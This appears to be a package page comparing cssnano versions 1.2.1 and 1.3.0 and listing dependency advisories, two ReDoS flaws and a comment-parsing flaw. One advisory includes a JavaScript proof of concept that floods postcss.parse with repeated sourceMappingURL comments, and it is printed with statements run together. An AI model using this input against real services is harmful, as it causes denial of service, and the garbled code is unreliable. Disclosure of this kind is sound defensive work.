Cssnano is a modular minifier for CSS, built upon the PostCSS ecosystem. Versions 1.2.1 and 1.3.0 offer developers tools to optimize CSS files for production, reducing file sizes and improving website performance. The core functionality remains consistent between these versions, focusing on tasks such as removing whitespace, comments, and duplicate rules, as well as optimizing color values, font weights, and more. Both versions include a comprehensive set of dependencies for handling various CSS optimizations, featuring modules like postcss-colormin, postcss-font-family, and postcss-minify-selectors.
Notably, version 1.3.0 introduces webpack, json-loader, and node-libs-browser as development dependencies. This suggests enhanced support, or testing capabilities, for environments utilizing Webpack bundlers. Developers using cssnano alongside Webpack may find version 1.3.0 particularly advantageous.
Ultimately, both versions provide powerful CSS minification capabilities. When upgrading for Webpack related feature improvements, or to the minor version to benefit from bug fixes and general stability enhancements, version 1.3.0 builds upon the solid foundation of 1.2.1. Developers should assess their bundler configuration and testing requirements when deciding between the two versions with consideration to the addition of three components.
All the vulnerabilities related to the version 1.3.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.